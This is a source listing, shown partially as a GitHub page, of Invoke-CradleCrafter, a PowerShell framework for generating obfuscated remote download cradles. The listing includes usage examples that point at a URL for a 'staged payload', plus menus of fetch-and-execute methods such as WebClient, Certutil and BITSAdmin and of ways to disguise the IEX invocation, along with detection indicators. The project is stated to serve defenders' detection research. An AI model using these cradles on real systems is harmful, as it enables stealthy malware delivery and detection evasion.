-
Notifications
You must be signed in to change notification settings - Fork 161
/
Invoke-CradleCrafter.ps1
4060 lines (3414 loc) · 293 KB
/
Invoke-CradleCrafter.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# This file is part of Invoke-CradleCrafter.
#
# Copyright 2018 Daniel Bohannon <@danielhbohannon>
# while at Mandiant <http://www.mandiant.com>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
Function Invoke-CradleCrafter
{
<#
.SYNOPSIS
Master function that orchestrates the exploration, selection, and application of all obfuscation components available to all remote download cradle syntaxes in this framework. This project is meant to raise defender's awareness of the rich syntax options and download mechanisms which PowerShell can harness to download and invoke remote scripts. In addition, this project is meant to increase defender's detection of obscure remote download techniques that PowerShell can leverage.
Invoke-CradleCrafter Function: Invoke-CradleCrafter
Author: Daniel Bohannon (@danielhbohannon)
License: Apache License, Version 2.0
Required Dependencies: Show-Menu, Show-OptionsMenu, Show-HelpMenu, Show-Tutorial, Out-ScriptContents, Out-CradleContents, Show-MenuContext, Show-AsciiArt, and Invoke-OutCradle (all located in Invoke-CradleCrafter.ps1)
Optional Dependencies: None
.DESCRIPTION
Invoke-CradleCrafte orchestrates the exploration, selection, and application of all obfuscation components available to all remote download cradle syntaxes in this framework. This project is meant to raise defender's awareness of the rich syntax options and download mechanisms which PowerShell can harness to download and invoke remote scripts. In addition, this project is meant to increase defender's detection of obscure remote download techniques that PowerShell can leverage.
.PARAMETER Url
Specifies the Url of the staged payload to be downloaded and invoked by the remote download cradle payload.
.PARAMETER Path
(Optional) Specifies the Path to download the remote payload to for disk-based cradles.
.PARAMETER PostCradleCommand
(Optional) Specifies the post-cradle command to be invoked after the staged payload (stored at $Url) has been invoked.
.PARAMETER Command
(Optional) Specifies the CLI commands to run.
.PARAMETER NoExit
(Optional - only works if Command is specified) Outputs the option to not exit after running obfuscation commands defined in Command parameter.
.PARAMETER Quiet
(Optional - only works if Command is specified) Outputs the option to output only the final obfuscated result via stdout.
.EXAMPLE
C:\PS> Import-Module .\Invoke-CradleCrafter.psd1; Invoke-CradleCrafter
C:\PS> Import-Module .\Invoke-CradleCrafter.psd1; Invoke-CradleCrafter -Url 'http://bit.ly/L3g1tCrad1e'
C:\PS> Import-Module .\Invoke-CradleCrafter.psd1; Invoke-CradleCrafter -Url 'http://bit.ly/L3g1tCrad1e' -Command 'Memory\PsWebString\All\1' -Quiet -NoExit
C:\PS> Import-Module .\Invoke-CradleCrafter.psd1; Invoke-CradleCrafter -Url 'http://bit.ly/L3g1tCrad1e' -Command 'Memory\PsComWord\Property*\*,back,Invoke\*,CLIP' -Quiet
C:\PS> Import-Module .\Invoke-CradleCrafter.psd1; Invoke-CradleCrafter -Url 'http://bit.ly/L3g1tCrad1e' -Command 'Memory\*\All\1,OUT cradle_result.txt' -Quiet
C:\PS> Import-Module .\Invoke-CradleCrafter.psd1; Invoke-CradleCrafter -Url 'http://bit.ly/L3g1tCrad1e' -Path 'Default_File_Path.ps1' -Command 'Disk\*\All\1,OUT cradle_result.txt' -Quiet
.NOTES
Invoke-CradleCrafter orchestrates the exploration, selection, and application of all obfuscation components available to all remote download cradle syntaxes in this framework. This project is meant to raise defender's awareness of the rich syntax options and download mechanisms which PowerShell can harness to download and invoke remote scripts. In addition, this project is meant to increase defender's detection of obscure remote download techniques that PowerShell can leverage.
This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company.
.LINK
http://www.danielbohannon.com
#>
Param (
[String]
$Url,
[String]
$Path,
[ScriptBlock]
$PostCradleCommand,
[String]
$Command,
[Switch]
$NoExit,
[Switch]
$Quiet
)
# Define variables for CLI functionality.
$Script:CliCommands = @()
$Script:CompoundCommand = @()
$Script:QuietWasSpecified = $FALSE
$CliWasSpecified = $FALSE
$NoExitWasSpecified = $FALSE
# Either convert PostCradleCommand to a String or convert script at $Path to a String.
If($PSBoundParameters['Url'])
{
$Script:CliCommands += ('set url ' + $Url)
}
If($PSBoundParameters['Path'])
{
$Script:CliCommands += ('set path ' + $Path)
}
If($PSBoundParameters['PostCradleCommand'])
{
$Script:CliCommands += ('set PostCradleCommand ' + $PostCradleCommand)
}
# Append Command to CliCommands if specified by user input.
If($PSBoundParameters['Command'])
{
$Script:CliCommands += $Command.Split(',')
$CliWasSpecified = $TRUE
If($PSBoundParameters['NoExit'])
{
$NoExitWasSpecified = $TRUE
}
If($PSBoundParameters['Quiet'])
{
# Create empty Write-Host and Start-Sleep proxy functions to cause any Write-Host or Start-Sleep invocations to not do anything until non-interactive -Command values are finished being processed.
Function Write-Host {}
Function Start-Sleep {}
$Script:QuietWasSpecified = $TRUE
}
}
########################################
## Script-wide variable instantiation ##
########################################
# Script-level array of Show Options menu, set as SCRIPT-level so it can be set from within any of the functions.
# Build out menu for Show Options selection from user in Show-OptionsMenu menu.
$Script:Url = ''
$Script:Path = ''
$Script:PostCradleCommand = ''
$Script:CliSyntax = @()
$Script:ExecutionCommands = @()
$Script:TokenArray = @()
$Script:TokenArrayHistory = @()
$Script:ObfuscatedCradle = ''
$Script:ObfuscatedCradleWithTags = ''
$Script:ObfuscatedCradleHistory = @()
$Script:ObfuscationLength = ''
$Script:OptionsMenu = @()
$Script:OptionsMenu += , @('Url' , $Script:Url , $TRUE)
$Script:OptionsMenu += , @('Path' , $Script:Path , $TRUE)
$Script:OptionsMenu += , @('PostCradleCommand' , $Script:PostCradleCommand , $TRUE)
$Script:OptionsMenu += , @('CommandLineSyntax' , $Script:CliSyntax , $FALSE)
$Script:OptionsMenu += , @('ExecutionCommands' , $Script:ExecutionCommands , $FALSE)
$Script:OptionsMenu += , @('ObfuscatedCradle' , $Script:ObfuscatedCradle , $FALSE)
$Script:OptionsMenu += , @('ObfuscationLength' , $Script:ObfuscatedCradle , $FALSE)
# Build out $SetInputOptions from above items set as $TRUE (as settable).
$SettableInputOptions = @()
ForEach($Option in $Script:OptionsMenu)
{
If($Option[2]) {$SettableInputOptions += ([String]$Option[0]).ToLower().Trim()}
}
# Ensure Invoke-CradleCrafter module was properly imported before continuing.
If(!(Get-Module Invoke-CradleCrafter))
{
$PathTopsd1 = "$ScriptDir\Invoke-CradleCrafter.psd1"
If($PathTopsd1.Contains(' ')) {$PathTopsd1 = '"' + $PathTopsd1 + '"'}
Write-Host "`n`nERROR: Invoke-CradleCrafter module is not loaded. You must run:" -ForegroundColor Red
Write-Host " Import-Module $PathTopsd1`n`n" -ForegroundColor Yellow
Exit
}
# Maximum size for cmd.exe and clipboard.
$CmdMaxLength = 8190
# Build interactive menus.
$LineSpacing = '[*] '
# Main Menu.
$MenuLevel = @()
$MenuLevel += , @($LineSpacing, 'MEMORY' , '<Memory>-only remote download cradles')
$MenuLevel += , @($LineSpacing, 'DISK' , '<Disk>-based remote download cradles')
# Main\Memory Menu.
$MenuLevel_Memory = @()
$MenuLevel_Memory += , @($LineSpacing, 'PSWEBSTRING ' , 'PS Net.WebClient + <DownloadString> method')
$MenuLevel_Memory += , @($LineSpacing, 'PSWEBDATA ' , 'PS Net.WebClient + <DownloadData> method')
$MenuLevel_Memory += , @($LineSpacing, 'PSWEBOPENREAD ' , 'PS Net.WebClient + <OpenRead> method')
$MenuLevel_Memory += , @($LineSpacing, 'NETWEBSTRING ' , '.NET [Net.WebClient] + <DownloadString> method (PS3.0+)')
$MenuLevel_Memory += , @($LineSpacing, 'NETWEBDATA ' , '.NET [Net.WebClient] + <DownloadData> method (PS3.0+)')
$MenuLevel_Memory += , @($LineSpacing, 'NETWEBOPENREAD ' , '.NET [Net.WebClient] + <OpenRead> method (PS3.0+)')
$MenuLevel_Memory += , @($LineSpacing, 'PSWEBREQUEST ' , 'PS <Invoke-WebRequest>/<IWR> (PS3.0+)')
$MenuLevel_Memory += , @($LineSpacing, 'PSRESTMETHOD ' , 'PS <Invoke-RestMethod>/<IRM> (PS3.0+)')
$MenuLevel_Memory += , @($LineSpacing, 'NETWEBREQUEST ' , '.NET [<Net.HttpWebRequest>] class')
$MenuLevel_Memory += , @($LineSpacing, 'PSSENDKEYS ' , 'PS <SendKeys> class + <Notepad> (for the lulz)')
$MenuLevel_Memory += , @($LineSpacing, 'PSCOMWORD ' , 'PS <COM> object + <WinWord.exe>')
$MenuLevel_Memory += , @($LineSpacing, 'PSCOMEXCEL ' , 'PS <COM> object + <Excel.exe>')
$MenuLevel_Memory += , @($LineSpacing, 'PSCOMIE ' , 'PS <COM> object + <Iexplore.exe>')
$MenuLevel_Memory += , @($LineSpacing, 'PSCOMMSXML ' , 'PS <COM> object + <MsXml2.ServerXmlHttp>')
$MenuLevel_Memory += , @($LineSpacing, 'PSINLINECSHARP ' , 'PS <Add-Type> + Inline <CSharp>')
$MenuLevel_Memory += , @($LineSpacing, 'PSCOMPILEDCSHARP' , '.NET <[Reflection.Assembly]::Load> Pre-Compiled <CSharp>')
$MenuLevel_Memory += , @($LineSpacing, 'CERTUTIL ' , '<Certutil.exe> + -ping Argument')
# Main\Disk Menu.
$MenuLevel_Disk = @()
$MenuLevel_Disk += , @($LineSpacing, 'PSWEBFILE ' , 'PS Net.WebClient + <DownloadFile> method')
$MenuLevel_Disk += , @($LineSpacing, 'PSBITS ' , 'PS <Start-BitsTransfer> (PS3.0+)')
$MenuLevel_Disk += , @($LineSpacing, 'BITSADMIN ' , '<BITSAdmin>.exe')
$MenuLevel_Disk += , @($LineSpacing, 'CERTUTIL ' , '<Certutil.exe> + -urlcache Argument')
# Set values for Show-MenuContext to be displayed when each new cradle type is entered into.
$MenuContext_Memory_PsWebString = @()
$MenuContext_Memory_PsWebString += , @('Name ','PsWebString')
$MenuContext_Memory_PsWebString += , @('Description ','Downloads the requested resource as a String')
$MenuContext_Memory_PsWebString += , @('Compatibility','PS 2.0+')
$MenuContext_Memory_PsWebString += , @('Dependencies ','N/A')
$MenuContext_Memory_PsWebString += , @('Footprint ','Entirely memory-based')
$MenuContext_Memory_PsWebString += , @('Indicators ',@('powershell.exe loads C:\Windows\System32\rasman.dll','powershell.exe loads C:\Windows\System32\rasapi32.dll'))
$MenuContext_Memory_PsWebString += , @('Artifacts ',@('C:\Windows\Prefetch\POWERSHELL.EXE-********.pf','HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS','HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32'))
$MenuContext_Memory_PsWebString += , @('User-Agent ',@('None','UA generally trivial to change'))
$CradleType = 1
$MenuLevel_Memory_PsWebString = @()
$MenuLevel_Memory_PsWebString += , @($LineSpacing, 'Rearrange' , '<Rearrange> syntax structure')
$MenuLevel_Memory_PsWebString += , @($LineSpacing, 'Cmdlet ' , '<New-Object>')
$MenuLevel_Memory_PsWebString += , @($LineSpacing, 'Method ' , '<DownloadString>')
$MenuLevel_Memory_PsWebString += , @($LineSpacing, 'Invoke ' , '<IEX>')
$MenuLevel_Memory_PsWebString += , @($LineSpacing, 'All ' , 'Select <All> choices from above (random order)')
$MenuLevel_Memory_PsWebString_Rearrange = @()
$MenuLevel_Memory_PsWebString_Rearrange += , @($LineSpacing, '1' , "Default --> <Default> syntax arrangement" , @('Out-Cradle', $CradleType, 'Rearrange', 1))
$MenuLevel_Memory_PsWebString_Rearrange += , @($LineSpacing, '2' , "Multi-Variable --> <Logical> variable names and syntax" , @('Out-Cradle', $CradleType, 'Rearrange', 2))
$MenuLevel_Memory_PsWebString_Rearrange += , @($LineSpacing, '3' , "Random-Variable --> <Random> variable names and syntax" , @('Out-Cradle', $CradleType, 'Rearrange', 3))
$MenuLevel_Memory_PsWebString_Cmdlet = @()
$MenuLevel_Memory_PsWebString_Cmdlet += , @($LineSpacing, '1' , "PS New-Object --> <New-Object>" , @('Out-Cradle', $CradleType, 'NewObject', 1))
$MenuLevel_Memory_PsWebString_Cmdlet += , @($LineSpacing, '2' , "PS Get-Command --> <Get-Command>/<GCM>" , @('Out-Cradle', $CradleType, 'NewObject', 2))
$MenuLevel_Memory_PsWebString_Cmdlet += , @($LineSpacing, '3' , "PS1.0 GetCmdlet --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'NewObject', 3))
$MenuLevel_Memory_PsWebString_Method = @()
$MenuLevel_Memory_PsWebString_Method += , @($LineSpacing, '1' , "PS DownloadString --> <DownloadString>" , @('Out-Cradle', $CradleType, 'DownloadString', 1))
$MenuLevel_Memory_PsWebString_Method += , @($LineSpacing, '2' , "PS PsObject --> <.PsObject.Methods>" , @('Out-Cradle', $CradleType, 'DownloadString', 2))
$MenuLevel_Memory_PsWebString_Method += , @($LineSpacing, '3' , "PS Get-Member --> <| Get-Member>" , @('Out-Cradle', $CradleType, 'DownloadString', 3))
$MenuLevel_Memory_PsWebString_Invoke = @()
$MenuLevel_Memory_PsWebString_Invoke += , @($LineSpacing, '1 ' , "No Invoke --> For <testing> download sans IEX" , @('Out-Cradle', $CradleType, 'Invoke', 1))
$MenuLevel_Memory_PsWebString_Invoke += , @($LineSpacing, '2 ' , "PS IEX --> <IEX/Invoke-Expression>" , @('Out-Cradle', $CradleType, 'Invoke', 2))
$MenuLevel_Memory_PsWebString_Invoke += , @($LineSpacing, '3 ' , "PS Get-Alias --> <Get-Alias>/<GAL>" , @('Out-Cradle', $CradleType, 'Invoke', 3))
$MenuLevel_Memory_PsWebString_Invoke += , @($LineSpacing, '4 ' , "PS Get-Command --> <Get-Command>/<GCM>" , @('Out-Cradle', $CradleType, 'Invoke', 4))
$MenuLevel_Memory_PsWebString_Invoke += , @($LineSpacing, '5 ' , "PS1.0 GetCmdlet --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'Invoke', 5))
$MenuLevel_Memory_PsWebString_Invoke += , @($LineSpacing, '6 ' , "PS1.0 Invoke --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'Invoke', 6))
$MenuLevel_Memory_PsWebString_Invoke += , @($LineSpacing, '7 ' , "ScriptBlock+ICM --> <ICM/Invoke-Command/.Invoke()>" , @('Out-Cradle', $CradleType, 'Invoke', 7))
$MenuLevel_Memory_PsWebString_Invoke += , @($LineSpacing, '8 ' , "PS Runspace --> <[PowerShell]::Create()> (StdOut)" , @('Out-Cradle', $CradleType, 'Invoke', 8))
$MenuLevel_Memory_PsWebString_Invoke += , @($LineSpacing, '9 ' , "Concatenated IEX --> <.(`$env:ComSpec[4,15,25]-Join'')>" , @('Out-Cradle', $CradleType, 'Invoke', 9))
$MenuLevel_Memory_PsWebString_Invoke += , @($LineSpacing, '10' , "Invoke-AsWorkflow --> <Invoke-AsWorkflow> (PS3.0+)" , @('Out-Cradle', $CradleType, 'Invoke', 10))
$MenuLevel_Memory_PsWebString_All = @()
$MenuLevel_Memory_PsWebString_All += , @($LineSpacing, '1' , "Execute <ALL> Token obfuscation techniques (random order)" , @('Out-Cradle', $CradleType, 'All', 1))
# Set values for Show-MenuContext to be displayed when each new cradle type is entered into.
$MenuContext_Memory_PsWebData = @()
$MenuContext_Memory_PsWebData += , @('Name ','PsWebData')
$MenuContext_Memory_PsWebData += , @('Description ','Downloads resource as Byte array from specified URI')
$MenuContext_Memory_PsWebData += , @('Compatibility','PS 2.0+')
$MenuContext_Memory_PsWebData += , @('Dependencies ','N/A')
$MenuContext_Memory_PsWebData += , @('Footprint ','Entirely memory-based')
$MenuContext_Memory_PsWebData += , @('Indicators ',@('powershell.exe loads C:\Windows\System32\rasman.dll','powershell.exe loads C:\Windows\System32\rasapi32.dll'))
$MenuContext_Memory_PsWebData += , @('Artifacts ',@('C:\Windows\Prefetch\POWERSHELL.EXE-********.pf','HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS','HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32'))
$MenuContext_Memory_PsWebData += , @('User-Agent ',@('None','UA generally trivial to change'))
$CradleType = 2
$MenuLevel_Memory_PsWebData = @()
$MenuLevel_Memory_PsWebData += , @($LineSpacing, 'Rearrange' , '<Rearrange> syntax structure')
$MenuLevel_Memory_PsWebData += , @($LineSpacing, 'Cmdlet ' , '<New-Object>')
$MenuLevel_Memory_PsWebData += , @($LineSpacing, 'Method ' , '<DownloadData>')
$MenuLevel_Memory_PsWebData += , @($LineSpacing, 'Join ' , '$Array<-Join''''>')
$MenuLevel_Memory_PsWebData += , @($LineSpacing, 'Byte ' , '<[Char[]]>$Bytes')
$MenuLevel_Memory_PsWebData += , @($LineSpacing, 'Invoke ' , '<IEX>')
$MenuLevel_Memory_PsWebData += , @($LineSpacing, 'All ' , 'Select <All> choices from above (random order)')
$MenuLevel_Memory_PsWebData_Rearrange = @()
$MenuLevel_Memory_PsWebData_Rearrange += , @($LineSpacing, '1' , "Default --> <Default> syntax arrangement" , @('Out-Cradle', $CradleType, 'Rearrange', 1))
$MenuLevel_Memory_PsWebData_Rearrange += , @($LineSpacing, '2' , "Multi-Variable --> <Logical> variable names and syntax" , @('Out-Cradle', $CradleType, 'Rearrange', 2))
$MenuLevel_Memory_PsWebData_Rearrange += , @($LineSpacing, '3' , "Random-Variable --> <Random> variable names and syntax" , @('Out-Cradle', $CradleType, 'Rearrange', 3))
$MenuLevel_Memory_PsWebData_Cmdlet = @()
$MenuLevel_Memory_PsWebData_Cmdlet += , @($LineSpacing, '1' , "PS New-Object --> <New-Object>" , @('Out-Cradle', $CradleType, 'NewObject', 1))
$MenuLevel_Memory_PsWebData_Cmdlet += , @($LineSpacing, '2' , "PS Get-Command --> <Get-Command>/<GCM>" , @('Out-Cradle', $CradleType, 'NewObject', 2))
$MenuLevel_Memory_PsWebData_Cmdlet += , @($LineSpacing, '3' , "PS1.0 GetCmdlet --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'NewObject', 3))
$MenuLevel_Memory_PsWebData_Method = @()
$MenuLevel_Memory_PsWebData_Method += , @($LineSpacing, '1' , "PS DownloadData --> <DownloadData>" , @('Out-Cradle', $CradleType, 'DownloadData', 1))
$MenuLevel_Memory_PsWebData_Method += , @($LineSpacing, '2' , "PS PsObject --> <.PsObject.Methods>" , @('Out-Cradle', $CradleType, 'DownloadData', 2))
$MenuLevel_Memory_PsWebData_Method += , @($LineSpacing, '3' , "PS Get-Member --> <| Get-Member>" , @('Out-Cradle', $CradleType, 'DownloadData', 3))
$MenuLevel_Memory_PsWebData_Join = @()
$MenuLevel_Memory_PsWebData_Join += , @($LineSpacing, '1' , "PS Join --> `$Array<-Join''>" , @('Out-Cradle', $CradleType, 'Join', 1))
$MenuLevel_Memory_PsWebData_Join += , @($LineSpacing, '2' , "PS Join 2 --> <-Join>`$Array" , @('Out-Cradle', $CradleType, 'Join', 2))
$MenuLevel_Memory_PsWebData_Join += , @($LineSpacing, '3' , ".Net Join --> <[String]::Join('',>`$Array<)>" , @('Out-Cradle', $CradleType, 'Join', 3))
$MenuLevel_Memory_PsWebData_Byte = @()
$MenuLevel_Memory_PsWebData_Byte += , @($LineSpacing, '1' , "PS [Char[]] --> <[Char[]]>`$Bytes" , @('Out-Cradle', $CradleType, 'Byte', 1))
$MenuLevel_Memory_PsWebData_Byte += , @($LineSpacing, '2' , "PS [Char] --> `$Bytes|%{<[Char]>`$_}" , @('Out-Cradle', $CradleType, 'Byte', 2))
$MenuLevel_Memory_PsWebData_Byte += , @($LineSpacing, '3' , ".Net ASCII --> <[Text.Encoding]::ASCII.GetString>" , @('Out-Cradle', $CradleType, 'Byte', 3))
$MenuLevel_Memory_PsWebData_Byte += , @($LineSpacing, '4' , "PS -As Char --> `$Bytes|%{`$_<-As'Char'>}" , @('Out-Cradle', $CradleType, 'Byte', 4))
$MenuLevel_Memory_PsWebData_Invoke = @()
$MenuLevel_Memory_PsWebData_Invoke += , @($LineSpacing, '1 ' , "No Invoke --> For <testing> download sans IEX" , @('Out-Cradle', $CradleType, 'Invoke', 1))
$MenuLevel_Memory_PsWebData_Invoke += , @($LineSpacing, '2 ' , "PS IEX --> <IEX/Invoke-Expression>" , @('Out-Cradle', $CradleType, 'Invoke', 2))
$MenuLevel_Memory_PsWebData_Invoke += , @($LineSpacing, '3 ' , "PS Get-Alias --> <Get-Alias>/<GAL>" , @('Out-Cradle', $CradleType, 'Invoke', 3))
$MenuLevel_Memory_PsWebData_Invoke += , @($LineSpacing, '4 ' , "PS Get-Command --> <Get-Command>/<GCM>" , @('Out-Cradle', $CradleType, 'Invoke', 4))
$MenuLevel_Memory_PsWebData_Invoke += , @($LineSpacing, '5 ' , "PS1.0 GetCmdlet --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'Invoke', 5))
$MenuLevel_Memory_PsWebData_Invoke += , @($LineSpacing, '6 ' , "PS1.0 Invoke --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'Invoke', 6))
$MenuLevel_Memory_PsWebData_Invoke += , @($LineSpacing, '7 ' , "ScriptBlock+ICM --> <ICM/Invoke-Command/.Invoke()>" , @('Out-Cradle', $CradleType, 'Invoke', 7))
$MenuLevel_Memory_PsWebData_Invoke += , @($LineSpacing, '8 ' , "PS Runspace --> <[PowerShell]::Create()> (StdOut)" , @('Out-Cradle', $CradleType, 'Invoke', 8))
$MenuLevel_Memory_PsWebData_Invoke += , @($LineSpacing, '9 ' , "Concatenated IEX --> <.(`$env:ComSpec[4,15,25]-Join'')>" , @('Out-Cradle', $CradleType, 'Invoke', 9))
$MenuLevel_Memory_PsWebData_Invoke += , @($LineSpacing, '10' , "Invoke-AsWorkflow --> <Invoke-AsWorkflow> (PS3.0+)" , @('Out-Cradle', $CradleType, 'Invoke', 10))
$MenuLevel_Memory_PsWebData_All = @()
$MenuLevel_Memory_PsWebData_All += , @($LineSpacing, '1' , "Execute <ALL> Token obfuscation techniques (random order)" , @('Out-Cradle', $CradleType, 'All', 1))
# Set values for Show-MenuContext to be displayed when each new cradle type is entered into.
$MenuContext_Memory_PsWebOpenRead = @()
$MenuContext_Memory_PsWebOpenRead += , @('Name ','PsWebOpenRead')
$MenuContext_Memory_PsWebOpenRead += , @('Description ','Opens readable stream for data downloaded from the URI')
$MenuContext_Memory_PsWebOpenRead += , @('Compatibility','PS 2.0+')
$MenuContext_Memory_PsWebOpenRead += , @('Dependencies ','N/A')
$MenuContext_Memory_PsWebOpenRead += , @('Footprint ','Entirely memory-based')
$MenuContext_Memory_PsWebOpenRead += , @('Indicators ',@('powershell.exe loads C:\Windows\System32\rasman.dll','powershell.exe loads C:\Windows\System32\rasapi32.dll'))
$MenuContext_Memory_PsWebOpenRead += , @('Artifacts ',@('C:\Windows\Prefetch\POWERSHELL.EXE-********.pf','HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS','HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32'))
$MenuContext_Memory_PsWebOpenRead += , @('User-Agent ',@('None','UA generally trivial to change'))
$CradleType = 3
$MenuLevel_Memory_PsWebOpenRead = @()
$MenuLevel_Memory_PsWebOpenRead += , @($LineSpacing, 'Rearrange' , '<Rearrange> syntax structure')
$MenuLevel_Memory_PsWebOpenRead += , @($LineSpacing, 'Cmdlet ' , '<New-Object>')
$MenuLevel_Memory_PsWebOpenRead += , @($LineSpacing, 'Method ' , '<OpenRead>')
$MenuLevel_Memory_PsWebOpenRead += , @($LineSpacing, 'Stream ' , '<StreamReader>/<ReadByte>')
$MenuLevel_Memory_PsWebOpenRead += , @($LineSpacing, 'Invoke ' , '<IEX>')
$MenuLevel_Memory_PsWebOpenRead += , @($LineSpacing, 'All ' , 'Select <All> choices from above (random order)')
$MenuLevel_Memory_PsWebOpenRead_Rearrange = @()
$MenuLevel_Memory_PsWebOpenRead_Rearrange += , @($LineSpacing, '1' , "Default --> <Default> syntax arrangement" , @('Out-Cradle', $CradleType, 'Rearrange', 1))
$MenuLevel_Memory_PsWebOpenRead_Rearrange += , @($LineSpacing, '2' , "Random-Variable --> <Random> variable names and syntax" , @('Out-Cradle', $CradleType, 'Rearrange', 2))
$MenuLevel_Memory_PsWebOpenRead_Cmdlet = @()
$MenuLevel_Memory_PsWebOpenRead_Cmdlet += , @($LineSpacing, '1' , "PS New-Object --> <New-Object>" , @('Out-Cradle', $CradleType, 'NewObject', 1))
$MenuLevel_Memory_PsWebOpenRead_Cmdlet += , @($LineSpacing, '2' , "PS Get-Command --> <Get-Command>/<GCM>" , @('Out-Cradle', $CradleType, 'NewObject', 2))
$MenuLevel_Memory_PsWebOpenRead_Cmdlet += , @($LineSpacing, '3' , "PS1.0 GetCmdlet --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'NewObject', 3))
$MenuLevel_Memory_PsWebOpenRead_Method = @()
$MenuLevel_Memory_PsWebOpenRead_Method += , @($LineSpacing, '1' , "PS OpenRead --> <OpenRead>" , @('Out-Cradle', $CradleType, 'OpenRead', 1))
$MenuLevel_Memory_PsWebOpenRead_Method += , @($LineSpacing, '2' , "PS PsObject --> <.PsObject.Methods>" , @('Out-Cradle', $CradleType, 'OpenRead', 2))
$MenuLevel_Memory_PsWebOpenRead_Method += , @($LineSpacing, '3' , "PS Get-Member --> <| Get-Member>" , @('Out-Cradle', $CradleType, 'OpenRead', 3))
$MenuLevel_Memory_PsWebOpenRead_Stream = @()
$MenuLevel_Memory_PsWebOpenRead_Stream += , @($LineSpacing, '1' , "PS StreamReader --> New-Object <IO.StreamReader>" , @('Out-Cradle', $CradleType, 'Stream', 1))
$MenuLevel_Memory_PsWebOpenRead_Stream += , @($LineSpacing, '2' , "PS StreamReader 2 --> One-Liner <IO.StreamReader>" , @('Out-Cradle', $CradleType, 'Stream', 2))
